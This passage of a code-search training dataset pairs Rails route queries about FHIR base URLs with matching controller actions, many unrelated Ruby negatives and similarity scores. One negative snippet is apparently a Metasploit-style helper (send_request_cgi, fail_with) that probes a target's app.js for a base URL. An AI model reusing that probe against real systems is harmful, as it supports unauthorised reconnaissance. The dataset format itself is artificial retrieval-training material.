\"passwordMinutesOfInactivityBeforeLock\" => lambda {|n| @password_minutes_of_inactivity_before_lock = n.get_number_value() },\n \"passwordPreviousPasswordBlockCount\" => lambda {|n| @password_previous_password_block_count = n.get_number_value() },\n \"passwordRequireToUnlockFromIdle\" => lambda {|n| @password_require_to_unlock_from_idle = n.get_boolean_value() },\n \"passwordRequired\" => lambda {|n| @password_required = n.get_boolean_value() },\n \"passwordRequiredType\" => lambda {|n| @password_required_type = n.get_enum_value(MicrosoftGraph::Models::RequiredPasswordType) },\n \"secureBootEnabled\" => lambda {|n| @secure_boot_enabled = n.get_boolean_value() },\n \"storageRequireEncryption\" => lambda {|n| @storage_require_encryption = n.get_boolean_value() },\n })\n end", "def set_defaults\n super\n end", "def set_defaults\n super\n end", "def clear_default_fields\n reset_cleared_default_fields\n self.default_fields.each do |k, v|\n if respond_to?(\"#{k}=\") && unescape(self.send(\"#{k}\")) == unescape(v)\n add_to_cleared_default_fields(k, self.send(\"#{k}\")) and self.send(\"#{k}=\", \"\")\n end\n end\n end", "def reset_fields\n if self.is_default?\n self.applies_to_all = true\n self.codes = []\n elsif self.applies_to_all?\n self.codes = []\n end\n\n return true\n end", "def default_fields\n # @kase.default_fields_with_name(:kase) if @kase\n defaults = {}\n defaults = defaults.merge(@search_filter.default_fields_with_name(:search_filter)) if @search_filter\n defaults\n end", "def get_field_deserializers()\n return super.merge({\n \"audiences\" => lambda {|n| @audiences = n.get_collection_of_primitive_values(String) },\n \"description\" => lambda {|n| @description = n.get_string_value() },\n \"issuer\" => lambda {|n| @issuer = n.get_string_value() },\n \"name\" => lambda {|n| @name = n.get_string_value() },\n \"subject\" => lambda {|n| @subject = n.get_string_value() },\n })\n end", "def set_default_format\n request.format = 'json'\n end", "def serialize_default(object); object; end", "def init_jaxb_json_hash(_o)\n super _o\n @id = String.from_json(_o['id']) unless _o['id'].nil?\n @version = String.from_json(_o['version']) unless _o['version'].nil?\n @description = String.from_json(_o['description']) unless _o['description'].nil?\n @url = String.from_json(_o['url']) unless _o['url'].nil?\n @name = String.from_json(_o['name']) unless _o['name'].nil?\n @organization = Org::Apache::Archiva::Metadata::Model::Organization.from_json(_o['organization']) unless _o['organization'].nil?\n @issueManagement = Org::Apache::Archiva::Metadata::Model::IssueManagement.from_json(_o['issueManagement']) unless _o['issueManagement'].nil?\n @scm = Org::Apache::Archiva::Metadata::Model::Scm.from_json(_o['scm']) unless _o['scm'].nil?\n @ciManagement = Org::Apache::Archiva::Metadata::Model::CiManagement.from_json(_o['ciManagement']) unless _o['ciManagement'].nil?\n if !_o['licenses'].nil?\n @licenses = Array.new\n _oa = _o['licenses']\n _oa.each { | _item | @licenses.push Org::Apache::Archiva::Metadata::Model::License.from_json(_item) }\n end\n if !_o['mailingLists'].nil?\n @mailingLists = Array.new\n _oa = _o['mailingLists']\n _oa.each { | _item | @mailingLists.push Org::Apache::Archiva::Metadata::Model::MailingList.from_json(_item) }\n end\n if !_o['dependencies'].nil?\n @dependencies = Array.new\n _oa = _o['dependencies']\n _oa.each { | _item | @dependencies.push Org::Apache::Archiva::Metadata::Model::Dependency.from_json(_item) }\n end\n @incomplete = Boolean.from_json(_o['incomplete']) unless _o['incomplete'].nil?\n end", "def with_defaults!(other_hash); end", "def set_defaults\n # puts 'call set_defaults!'\n # Set status to default value\n self.status ||= \"uploaded\"\n self.last_parsed_line ||= 0\n\n end", "def as_json(options={})\n super.merge(\n {\n :title_number => self.title_number,\n :title_owner_organization_id => self.title_owner.present? ? self.title_owner.to_s : nil,\n :expected_useful_miles => self.expected_useful_miles,\n :rebuild_year => self.rebuild_year,\n :vehicle_storage_method_type_id => self.vehicle_storage_method_type.present? ? self.vehicle_storage_method_type.to_s : nil,\n :fuel_type_id => self.fuel_type.present? ? self.fuel_type.to_s : nil\n })\n end", "def fill_with_data(data)\n if data.include? \"id\"\n @id = data[\"id\"]\n end\n if data.include? \"project\"\n @project = data[\"project\"]\n end\n if data.include? \"url\"\n @url = data[\"url\"]\n end\n if data.include? \"name\"\n @name = data[\"name\"]\n end\n if data.include? \"amount\"\n @amount = data[\"amount\"]\n end\n if data.include? \"currency\"\n @currency = data[\"currency\"]\n end\n if data.include? \"metadata\"\n @metadata = data[\"metadata\"]\n end\n if data.include? \"request_email\"\n @request_email = data[\"request_email\"]\n end\n if data.include? \"request_shipping\"\n @request_shipping = data[\"request_shipping\"]\n end\n if data.include? \"return_url\"\n @return_url = data[\"return_url\"]\n end\n if data.include? \"cancel_url\"\n @cancel_url = data[\"cancel_url\"]\n end\n if data.include? \"sandbox\"\n @sandbox = data[\"sandbox\"]\n end\n if data.include? \"created_at\"\n @created_at = data[\"created_at\"]\n end\n \n self\n end" ]
[ "0.65855914", "0.65551007", "0.6415006", "0.639384", "0.63522315", "0.63522315", "0.63522315", "0.63522315", "0.63522315", "0.63522315", "0.63522315", "0.63522315", "0.63522315", "0.63522315", "0.6320549", "0.63172174", "0.6240433", "0.62383825", "0.62134725", "0.62131286", "0.6203442", "0.6193816", "0.6187005", "0.6186525", "0.6184417", "0.6177082", "0.6137854", "0.6137854", "0.6137854", "0.6137854", "0.6137854", "0.6137854", "0.6134483", "0.6134483", "0.6133258", "0.6120573", "0.609932", "0.6092587", "0.6090467", "0.6090467", "0.60631436", "0.6061964", "0.60559386", "0.6031574", "0.6031505", "0.602528", "0.60122603", "0.60106486", "0.5987319", "0.5981574", "0.59699523", "0.5969195", "0.596453", "0.5958407", "0.59559876", "0.59510195", "0.59345657", "0.5916124", "0.5914676", "0.59135735", "0.5908473", "0.589971", "0.5897411", "0.5895389", "0.58930767", "0.5890704", "0.5867575", "0.5864002", "0.5862741", "0.58622646", "0.58577454", "0.585589", "0.5849485", "0.58489436", "0.58467174", "0.58456653", "0.584497", "0.58447456", "0.58418244", "0.5841764", "0.58364373", "0.58332545", "0.58332545", "0.5824497", "0.5822015", "0.582117", "0.5820472", "0.5820472", "0.5820459", "0.5817057", "0.5802927", "0.5793207", "0.5788998", "0.57884854", "0.5787481", "0.5774519", "0.57709825", "0.57664776", "0.5764995" ]
0.5923771
57
GET /fhir_base_urls GET /fhir_base_urls.json
def index @fhir_base_urls = FhirBaseUrl.all respond_to do |format| format.html # index.html.erb format.json { render json: @fhir_base_urls } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def base_href\n '/api/v1'\n end", "def show\n @fhir_base_url = FhirBaseUrl.find(params[:id])\n\n respond_to do |format|\n format.html { redirect_to :action => :edit }\n format.json { render json: @fhir_base_url }\n end\n end", "def base_url\n return url\n end", "def base_url\n service.base_url\n end", "def base_url_path; end", "def base_uri\t\t\t\n\t\tURI.parse( \"http://\" + @factory.site_name + \".\" + @factory.api_host_base + @path )\n\tend", "def base_path\n \"/api/v1\"\n end", "def base_uri\n @base_uri\n end", "def base_url\n @url.to_s.split('?').first\n end", "def base_url\n base_href || url\n end", "def baseurl; end", "def base_uri\n\t\t\t\"#{server}/api/v4\"\n\t\tend", "def base_url\n \"#{scheme}://#{host}\"\n end", "def base_uri\n if mode == 'sandbox'\n @base_uri = 'https://sandbox.fundamerica.com/api/'\n else\n @base_uri = 'https://apps.fundamerica.com/api/'\n end\n end", "def base_uri\n @base_uri = \"https://api.findface.pro/v0/\"\n end", "def complete_url(url, base)\n if url.start_with?(\"/\")\n resource_uri = base + url\n else\n resource_uri = url\n end \n return resource_uri\n end", "def base_url\n 'http://ow.ly/api/1.1/url/shorten'\n end", "def new\n @fhir_base_url = FhirBaseUrl.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @fhir_base_url }\n end\n end", "def base_uri\n ary = contents_uri.to_s.split(\"/\")\n ary.pop if ary[-1].blank?\n ary.pop\n ary.join(\"/\") + \"/\"\n end", "def base_url\n BASE_URL.dup % [\"%s\", \"%s\", @api_key, \"%s\"] \n end", "def base_uri\n @options[:base_uri]\n end", "def base_uri\n @options[:base_uri]\n end", "def base_url\n @is_sub_env_specific ? \"#{GlobalConstant::CompanyApi.root_url}#{GlobalConstant::Environment.url_prefix}/api/\"\n : \"#{GlobalConstant::CompanyApi.root_url}api/\"\n end", "def raplet_base_url\n \"#{request.scheme}://#{request.host}:#{request.port}\"\n end", "def resource_base_uri\n @resource ||= \"#{Hyperloop::Resource::ClientDrivers.opts[:resource_api_base_path]}/#{self.to_s.underscore.pluralize}\"\n end", "def base_uri\n @base_uri ||= guess_base_uri\n end", "def generate_base_urls \n set_scheme\n if(ENV['ENVIRONMENT']=='sandbox')\n @base_url = @sandbox + @bbc_domain \n @static_base_url = @static_sandbox + @bbc_domain\n elsif (ENV['ENVIRONMENT']=='live' && ENV['WWW_LIVE']=='false')\n @base_url = @www_prefix.chop + @bbc_domain\n @static_base_url = @static_prefix.chop + @bbci_domain\n @open_base_url = @open_prefix.chop + @bbc_domain\n elsif (ENV['ENVIRONMENT'].split('.')[0].include? 'pal') #address specific box\n @base_url = \"#{scheme}://#{ENV['ENVIRONMENT']}\" \n else\n @base_url = @www_prefix + ENV['ENVIRONMENT'] + @bbc_domain\n @static_base_url = @static_prefix + ENV['ENVIRONMENT'] + @bbci_domain\n @static_base_url = @static_prefix.chop + @bbci_domain if ENV['ENVIRONMENT'] == 'live'\n @open_base_url = @open_prefix + ENV['ENVIRONMENT'] + @bbc_domain\n end\n proxy = ENV['http_proxy'] || ENV['HTTP_PROXY'] \n @proxy_host = proxy.scan(/http:\\/\\/(.*):80/).to_s if proxy\n end", "def show\n @base_url = BaseUrl.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @base_url }\n end\n end", "def _base_url\n r = @_request\n scheme = r.scheme\n port = r.port\n \"#{scheme}://#{r.host}#{\":#{port}\" unless DEFAULT_PORTS[scheme] == port}\"\n end", "def endpoint\n \"#{base_url}#{base_url =~ /\\/$/ ? '' : '/'}/api/v3\"\n end", "def base_url\n @base_url||=@options['base_url']\n end", "def get_all_datasets_and_resources(base_url)\n return handle_request(URI.encode(base_url + '/current_package_list_with_ressources'))\n end", "def base_url_path=(_arg0); end", "def infrastructures_base_url\n \"#{configuration[:on_prem_api_endpoint]}/infrastructures\"\n end", "def base_url\n @client.instance_variable_get(:@base_url)\n end", "def base_url\n GlobalConstant::Base.aml_config[:search][:base_url]\n end", "def api_base_url; @opts[:api_base_url]; end", "def base_uri\n attributes.fetch(:baseUri)\n end", "def paths\n\t\tresponse = self.server.run_with_json_template( :paths )\n\t\treturn response.each_with_object({}) do |entry, hash|\n\t\t\thash[ entry[:name].to_sym ] = URI( entry[:url] )\n\t\tend\n\tend", "def base_url\n \"http#{configuration[:secure] ? 's' : ''}://#{configuration[:api_url]}/v#{configuration[:api_version]}\"\n end", "def base_url\n \"http#{configuration[:secure] ? 's' : ''}://#{configuration[:api_url]}/v#{configuration[:api_version]}\"\n end", "def api_url\n base_url.concat api_query_parameter\n end", "def api_url\n base_url.concat api_query_parameter\n end", "def base_url\n self.class.base_url\n end", "def get_all_character_uris\n\t\t\tget_all_character_apis.map { |api| uri(api) }\n end", "def base_url\n File.join(host, path)\n end", "def base_url\n self.class.base_url\n end", "def base_paths\n @base_paths ||= find_base_paths\n end", "def baseurl=(_arg0); end", "def url\n @url ||= GeoIQ.base_uri + \"#{path}.json\"\n end", "def api_path\n @api_path ||= find_api_path(base_uri)\n end", "def base_url\n context[:base_url] || \"/\"\n end", "def base_url\n ENV['HERMES_API_URL'] || 'https://hermes.mythcoders.net/api'\n end", "def base_api_uri\n \"#{self.class.base_uri}/#{@account_id}\"\n end", "def base_href\n parsed_search('base').first.attributes['href'].value rescue nil\n end", "def base_uri\n \"#{self.class.base_uri}/#{name}\"\n end", "def get_base_uri(server = Server::DEFAULT)\r\n parameters = {\r\n 'base_url' => { 'value' => base_url, 'encode' => false }\r\n }\r\n APIHelper.append_url_with_template_parameters(\r\n ENVIRONMENTS[environment][server], parameters\r\n )\r\n end", "def base_url\n \"https://api.yelp.com/v3/\"\n end", "def all\n render json: Url.all\n end", "def index\n @known_urls = KnownUrl.all\n end", "def base_url\n URI::HTTPS.build(host: @server, port: @port, path: @api)\n end", "def create_url(subpath='')\n paths = [ api_version, resources_path, subpath ]\n paths.select{|s| s != ''}.join('/')\n end", "def base_url\n \"http://#{@host}:#{@port}\"\n end", "def uri\n raise InterfaceError, 'Base url is require to generate full uri.' unless @base_url\n return @base_url if @uri_parameters.nil? || @uri_parameters.empty?\n params_with_values = []\n @uri_parameters.each {|k,v| params_with_values << \"#{k}=#{v}\"}\n @base_url+'?'+params_with_values.join('&')\n end", "def uri_base\n \"http#{'s' if @options[:ssl]}://#{@options[:host]}\"\n end", "def json_url\n # \"#{REDDIT_URL_PREFIX}#{permalink}#{@self_id}.json\"\n end", "def base_href\n parsed.search('base').first.attributes['href'].value rescue nil\n end", "def base_uri\n \"#{api}/provider\"\n end", "def base_uri(value)\n @config[:base_uri] = value\n end", "def base_uri\n \"#{api}/map_type\"\n end", "def endpoints_list\n get \"endpoints\"\n end", "def all\n setup_request \"#{@@resource_url}s\"\n end", "def base_url(query)\n fail\n end", "def set_base_url(num = 0)\n return nil if num >= @api_servers.size\n @base_url = @api_servers[num]\n end", "def endpoints; end", "def find_base\n if contents and (found = tag(\"base\", {:href => /.*/}, contents))\n ensure_uri(found[:href])\n else\n extract_base(location)\n end\n end", "def endpoint_url\n # @@api_base + @request.endpoint\n ApiBase + @endpoint\n end", "def create\n @fhir_base_url = FhirBaseUrl.new(params[:fhir_base_url])\n\n respond_to do |format|\n if @fhir_base_url.save\n format.html { redirect_to @fhir_base_url, notice: 'Fhir base url was successfully created.' }\n format.json { render json: @fhir_base_url, status: :created, location: @fhir_base_url }\n else\n format.html { render action: \"new\" }\n format.json { render json: @fhir_base_url.errors, status: :unprocessable_entity }\n end\n end\n end", "def base_url\n \"https://api.beezup.com/\"\n end", "def base_uri=(iri)\n @options[:base_uri] = RDF::URI(iri)\n end", "def urls(resource)\n \"https://what.cd/#{resource}\"\n end", "def with_base_url(path)\n u = @url.dup\n u.path += Puppet::Util.uri_encode(path)\n u\n end", "def urls\n @urls ||= extract_urls('url')\n end", "def app_path\n res = send_request_cgi({\n # default.a.get( check\n 'uri' => normalize_uri(target_uri.path, 'js', 'app.js'),\n\t 'method' => 'GET'\n })\n\n if res && res.code == 200 && res.body =~ /baseURL/\n data = res.body\n #word = data.scan(/\"#{string_to_split}\"\\] = \"([\\S\\s]*?)\"/)\n base_url = data.scan(/baseURL: '\\/([\\S\\s]*?)'/)[0]\n print_status(\"baseURL: #{base_url}\")\n return base_url\n else\n fail_with(Failure::NotVulnerable, 'baseURL not found!')\n end\n end", "def account_site_assets_base_url\n Account.current.url_base + account_site_assets_base(true)\n end", "def urls\n keys\n end", "def api_base_url(environment)\n GlobalConstant::KycApiBaseDomain.get_base_domain_url_for_environment(environment)\n end", "def base_uri(in_or_out = :in)\n Rails.my_config(\"base_uri_#{in_or_out}\".to_sym)\n end", "def hub_site_urls\n return @hub_site_urls\n end", "def lb_paths(linkbase_constant)\n paths=[]\n begin\n linkbase_refs=@taxonomy_content[\"annotation\"][0][\"appinfo\"][0][\"linkbaseRef\"]\n linkbase_refs.each do |ref|\n if ref[\"xlink:role\"]==linkbase_constant\n paths << \"#{@taxonomy_file_basedir}#{ref[\"xml:base\"]}#{ref[\"xlink:href\"]}\"\n end\n end\n rescue Exception => e\n end\n paths\n end", "def rest_url\n # Transifex API doc says always use a trailing slash even if the last element is a slug\n build_nodes_url.to_s + '/'\n end", "def generate_base_uri request, set=nil\n b_uri= uri request.env['REQUEST_URI'].to_s[0..-request.env['PATH_INFO'].length]\n @base_uri = b_uri if set\n b_uri\n end", "def urls\n each_url.to_set\n end", "def uri\n uri_for({}, nil)\n end", "def json_url\n \"#{REDDIT_URL_PREFIX}#{permalink}.json\"\n end", "def urls\n @@urls\n end", "def get base_endpoint, resource_scope = nil, additional_options: {}\n\n response = connection.get do |req|\n req.url \"#{base_endpoint}/#{api_key}/#{namespace}#{resource_scope}\", additional_options\n end\n\n format_response_or_raise_error(response)\n end", "def repository_base_url(result)\n if result['slug'] && AppConfig[:use_human_readable_urls]\n url = \"repositories/\" + result['slug']\n else\n url = result['uri']\n end\n\n return url\n end", "def resolved_uri; end", "def basepath; end" ]
[ "0.65288126", "0.644742", "0.62251186", "0.6215531", "0.62133396", "0.620405", "0.61742246", "0.61429673", "0.6136415", "0.61359584", "0.6083833", "0.608366", "0.6076272", "0.6029362", "0.60067344", "0.5993861", "0.59799045", "0.59788996", "0.5930055", "0.5895603", "0.58952296", "0.58952296", "0.5895061", "0.5892634", "0.5885059", "0.5884879", "0.588331", "0.58754534", "0.58703905", "0.58651257", "0.5849158", "0.584184", "0.58384335", "0.5788359", "0.5784179", "0.57772803", "0.575881", "0.57452506", "0.57449794", "0.57432306", "0.57432306", "0.5736454", "0.5736454", "0.5735749", "0.5718662", "0.5686541", "0.56851226", "0.5683059", "0.5682067", "0.5669518", "0.5666526", "0.5665134", "0.56576574", "0.56407154", "0.5618433", "0.5616282", "0.5591018", "0.55874866", "0.5583371", "0.5580154", "0.5555052", "0.5549253", "0.5522336", "0.55211157", "0.55204505", "0.5505992", "0.5496755", "0.5491055", "0.54792774", "0.5477986", "0.5476797", "0.54755414", "0.547132", "0.54619586", "0.54492354", "0.5445758", "0.54428387", "0.5437734", "0.5437504", "0.5436803", "0.5436668", "0.5433858", "0.54332393", "0.54329276", "0.54182", "0.5418122", "0.5411377", "0.5395298", "0.5394327", "0.53912807", "0.5387946", "0.53847724", "0.53844357", "0.53837657", "0.537778", "0.5375615", "0.5370985", "0.53701234", "0.536042", "0.53436315" ]
0.78445756
0
GET /fhir_base_urls/1 GET /fhir_base_urls/1.json
def show @fhir_base_url = FhirBaseUrl.find(params[:id]) respond_to do |format| format.html { redirect_to :action => :edit } format.json { render json: @fhir_base_url } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @fhir_base_urls = FhirBaseUrl.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @fhir_base_urls }\n end\n end", "def base_href\n '/api/v1'\n end", "def base_path\n \"/api/v1\"\n end", "def new\n @fhir_base_url = FhirBaseUrl.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @fhir_base_url }\n end\n end", "def show\n @base_url = BaseUrl.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @base_url }\n end\n end", "def base_uri\t\t\t\n\t\tURI.parse( \"http://\" + @factory.site_name + \".\" + @factory.api_host_base + @path )\n\tend", "def base_uri\n\t\t\t\"#{server}/api/v4\"\n\t\tend", "def base_url\n service.base_url\n end", "def base_url\n return url\n end", "def base_url\n 'http://ow.ly/api/1.1/url/shorten'\n end", "def base_uri\n @base_uri\n end", "def resource_base_uri\n @resource ||= \"#{Hyperloop::Resource::ClientDrivers.opts[:resource_api_base_path]}/#{self.to_s.underscore.pluralize}\"\n end", "def complete_url(url, base)\n if url.start_with?(\"/\")\n resource_uri = base + url\n else\n resource_uri = url\n end \n return resource_uri\n end", "def base_url\n @url.to_s.split('?').first\n end", "def base_url_path; end", "def base_url\n base_href || url\n end", "def baseurl; end", "def endpoint\n \"#{base_url}#{base_url =~ /\\/$/ ? '' : '/'}/api/v3\"\n end", "def base_uri\n @base_uri = \"https://api.findface.pro/v0/\"\n end", "def base_url\n \"#{scheme}://#{host}\"\n end", "def base_uri\n ary = contents_uri.to_s.split(\"/\")\n ary.pop if ary[-1].blank?\n ary.pop\n ary.join(\"/\") + \"/\"\n end", "def base_uri\n if mode == 'sandbox'\n @base_uri = 'https://sandbox.fundamerica.com/api/'\n else\n @base_uri = 'https://apps.fundamerica.com/api/'\n end\n end", "def base_url\n BASE_URL.dup % [\"%s\", \"%s\", @api_key, \"%s\"] \n end", "def base_url_path=(_arg0); end", "def url\n @url ||= GeoIQ.base_uri + \"#{path}.json\"\n end", "def base_uri\n @options[:base_uri]\n end", "def base_uri\n @options[:base_uri]\n end", "def base_uri\n \"#{self.class.base_uri}/#{name}\"\n end", "def base_uri\n @base_uri ||= guess_base_uri\n end", "def json_url\n # \"#{REDDIT_URL_PREFIX}#{permalink}#{@self_id}.json\"\n end", "def base_uri\n attributes.fetch(:baseUri)\n end", "def base_api_uri\n \"#{self.class.base_uri}/#{@account_id}\"\n end", "def baseurl=(_arg0); end", "def base_url\n @client.instance_variable_get(:@base_url)\n end", "def base_url\n \"http#{configuration[:secure] ? 's' : ''}://#{configuration[:api_url]}/v#{configuration[:api_version]}\"\n end", "def base_url\n \"http#{configuration[:secure] ? 's' : ''}://#{configuration[:api_url]}/v#{configuration[:api_version]}\"\n end", "def _base_url\n r = @_request\n scheme = r.scheme\n port = r.port\n \"#{scheme}://#{r.host}#{\":#{port}\" unless DEFAULT_PORTS[scheme] == port}\"\n end", "def base_url\n @is_sub_env_specific ? \"#{GlobalConstant::CompanyApi.root_url}#{GlobalConstant::Environment.url_prefix}/api/\"\n : \"#{GlobalConstant::CompanyApi.root_url}api/\"\n end", "def api_base_url; @opts[:api_base_url]; end", "def create\n @fhir_base_url = FhirBaseUrl.new(params[:fhir_base_url])\n\n respond_to do |format|\n if @fhir_base_url.save\n format.html { redirect_to @fhir_base_url, notice: 'Fhir base url was successfully created.' }\n format.json { render json: @fhir_base_url, status: :created, location: @fhir_base_url }\n else\n format.html { render action: \"new\" }\n format.json { render json: @fhir_base_url.errors, status: :unprocessable_entity }\n end\n end\n end", "def api_url\n base_url.concat api_query_parameter\n end", "def api_url\n base_url.concat api_query_parameter\n end", "def raplet_base_url\n \"#{request.scheme}://#{request.host}:#{request.port}\"\n end", "def api_path\n @api_path ||= find_api_path(base_uri)\n end", "def base_url\n @base_url||=@options['base_url']\n end", "def base_url\n self.class.base_url\n end", "def all\n render json: Url.all\n end", "def base_url\n URI::HTTPS.build(host: @server, port: @port, path: @api)\n end", "def base_url\n self.class.base_url\n end", "def create_url(subpath='')\n paths = [ api_version, resources_path, subpath ]\n paths.select{|s| s != ''}.join('/')\n end", "def new\n @base_url = BaseUrl.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @base_url }\n end\n\n end", "def get_all_datasets_and_resources(base_url)\n return handle_request(URI.encode(base_url + '/current_package_list_with_ressources'))\n end", "def base_uri\n \"#{api}/provider\"\n end", "def base_url\n File.join(host, path)\n end", "def uri\n uri_for({}, nil)\n end", "def get base_endpoint, resource_scope = nil, additional_options: {}\n\n response = connection.get do |req|\n req.url \"#{base_endpoint}/#{api_key}/#{namespace}#{resource_scope}\", additional_options\n end\n\n format_response_or_raise_error(response)\n end", "def base_href\n parsed_search('base').first.attributes['href'].value rescue nil\n end", "def uri_base\n \"http#{'s' if @options[:ssl]}://#{@options[:host]}\"\n end", "def uri\n raise InterfaceError, 'Base url is require to generate full uri.' unless @base_url\n return @base_url if @uri_parameters.nil? || @uri_parameters.empty?\n params_with_values = []\n @uri_parameters.each {|k,v| params_with_values << \"#{k}=#{v}\"}\n @base_url+'?'+params_with_values.join('&')\n end", "def base_uri\n \"#{api}/map_type\"\n end", "def json_url\n \"#{REDDIT_URL_PREFIX}#{permalink}.json\"\n end", "def base_url\n GlobalConstant::Base.aml_config[:search][:base_url]\n end", "def api_url\n ensure_full_data!\n @gapi[\"selfLink\"]\n end", "def with_base_url(path)\n u = @url.dup\n u.path += Puppet::Util.uri_encode(path)\n u\n end", "def base_url(query)\n fail\n end", "def set_base_url(num = 0)\n return nil if num >= @api_servers.size\n @base_url = @api_servers[num]\n end", "def generate_base_urls \n set_scheme\n if(ENV['ENVIRONMENT']=='sandbox')\n @base_url = @sandbox + @bbc_domain \n @static_base_url = @static_sandbox + @bbc_domain\n elsif (ENV['ENVIRONMENT']=='live' && ENV['WWW_LIVE']=='false')\n @base_url = @www_prefix.chop + @bbc_domain\n @static_base_url = @static_prefix.chop + @bbci_domain\n @open_base_url = @open_prefix.chop + @bbc_domain\n elsif (ENV['ENVIRONMENT'].split('.')[0].include? 'pal') #address specific box\n @base_url = \"#{scheme}://#{ENV['ENVIRONMENT']}\" \n else\n @base_url = @www_prefix + ENV['ENVIRONMENT'] + @bbc_domain\n @static_base_url = @static_prefix + ENV['ENVIRONMENT'] + @bbci_domain\n @static_base_url = @static_prefix.chop + @bbci_domain if ENV['ENVIRONMENT'] == 'live'\n @open_base_url = @open_prefix + ENV['ENVIRONMENT'] + @bbc_domain\n end\n proxy = ENV['http_proxy'] || ENV['HTTP_PROXY'] \n @proxy_host = proxy.scan(/http:\\/\\/(.*):80/).to_s if proxy\n end", "def uri\n \"#{@@config[:base_uri]}#{id}\"\n end", "def base_url\n \"https://api.yelp.com/v3/\"\n end", "def url\n @url || File.join(host, \"v1\")\n end", "def resolved_uri; end", "def base_url\n ENV['HERMES_API_URL'] || 'https://hermes.mythcoders.net/api'\n end", "def get_all_character_uris\n\t\t\tget_all_character_apis.map { |api| uri(api) }\n end", "def base_url\n \"http://#{@host}:#{@port}\"\n end", "def base_url\n \"https://api.beezup.com/\"\n end", "def infrastructures_base_url\n \"#{configuration[:on_prem_api_endpoint]}/infrastructures\"\n end", "def api_url(path)\n return path if path.include?('//')\n \"#{api_root}/#{api_version}/#{tenancy_code}/#{path}\"\n end", "def base_uri=(iri)\n @options[:base_uri] = RDF::URI(iri)\n end", "def uri\n \"#{base_uri}#{path}\"\n end", "def endpoint_url\n # @@api_base + @request.endpoint\n ApiBase + @endpoint\n end", "def update\n @fhir_base_url = FhirBaseUrl.find(params[:id])\n\n respond_to do |format|\n if @fhir_base_url.update_attributes(params[:fhir_base_url])\n format.html { redirect_to @fhir_base_url, notice: 'Fhir base url was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @fhir_base_url.errors, status: :unprocessable_entity }\n end\n end\n end", "def base_href\n parsed.search('base').first.attributes['href'].value rescue nil\n end", "def uri\n RightScaleAPI::Client.base_uri + path\n end", "def index\n render json: {\n status: :success,\n urls: ShortUrl::top_100\n }\n end", "def index\n @known_urls = KnownUrl.all\n end", "def rest_url\n # Transifex API doc says always use a trailing slash even if the last element is a slug\n build_nodes_url.to_s + '/'\n end", "def get_base_uri(server = Server::DEFAULT)\r\n parameters = {\r\n 'base_url' => { 'value' => base_url, 'encode' => false }\r\n }\r\n APIHelper.append_url_with_template_parameters(\r\n ENVIRONMENTS[environment][server], parameters\r\n )\r\n end", "def repository_base_url(result)\n if result['slug'] && AppConfig[:use_human_readable_urls]\n url = \"repositories/\" + result['slug']\n else\n url = result['uri']\n end\n\n return url\n end", "def all\n setup_request \"#{@@resource_url}s\"\n end", "def full_uri\n \"#{host_uri}#{uri}\"\n end", "def url\n uri\n end", "def url\n uri\n end", "def paths\n\t\tresponse = self.server.run_with_json_template( :paths )\n\t\treturn response.each_with_object({}) do |entry, hash|\n\t\t\thash[ entry[:name].to_sym ] = URI( entry[:url] )\n\t\tend\n\tend", "def base_uri(value)\n @config[:base_uri] = value\n end", "def index\n @fullurls = Fullurl.all\n end", "def url(path)\n \"#{self.api_root}/#{self.api_version}/#{self.tenancy_code}/#{path}\"\n end", "def url_content\n urn\n end", "def index\n @urls = Url.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @urls }\n end\n end", "def uri_host; end", "def uri\n @uri ||= URI.parse('https://www.umbrasearch.org/flag_votes.json?flags_by_record=true')\n end" ]
[ "0.7718999", "0.6807459", "0.6412564", "0.6359851", "0.6235135", "0.6207592", "0.62033546", "0.61835504", "0.61766785", "0.6166719", "0.61601555", "0.61259633", "0.61185884", "0.6090367", "0.60629946", "0.6042072", "0.60378283", "0.60059416", "0.5987726", "0.5986979", "0.59630394", "0.59121734", "0.58852434", "0.58699876", "0.5866219", "0.5859383", "0.5859383", "0.58513755", "0.5834394", "0.5832295", "0.5829002", "0.57926047", "0.5780349", "0.5772306", "0.5771702", "0.5771702", "0.5764738", "0.57524854", "0.57489926", "0.573162", "0.5705066", "0.5705066", "0.5689416", "0.56858706", "0.5671844", "0.56657606", "0.56460667", "0.56383103", "0.5635482", "0.56329876", "0.5609974", "0.5605112", "0.5593189", "0.5590767", "0.5583634", "0.5572624", "0.5568774", "0.55659163", "0.5551628", "0.5550954", "0.5548941", "0.55466324", "0.5545787", "0.55456495", "0.5541931", "0.554158", "0.5539701", "0.55294764", "0.5515631", "0.5512405", "0.55120325", "0.5506469", "0.54996824", "0.5487437", "0.5483984", "0.54800284", "0.54799634", "0.5472669", "0.546584", "0.54652923", "0.5459009", "0.5458946", "0.5456124", "0.54559076", "0.54541856", "0.5451185", "0.54432076", "0.54425055", "0.5441701", "0.5437425", "0.543707", "0.543707", "0.5436767", "0.54361147", "0.5434391", "0.5433157", "0.54294103", "0.54288125", "0.54284304", "0.54263467" ]
0.67873996
2
GET /fhir_base_urls/new GET /fhir_base_urls/new.json
def new @fhir_base_url = FhirBaseUrl.new respond_to do |format| format.html # new.html.erb format.json { render json: @fhir_base_url } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
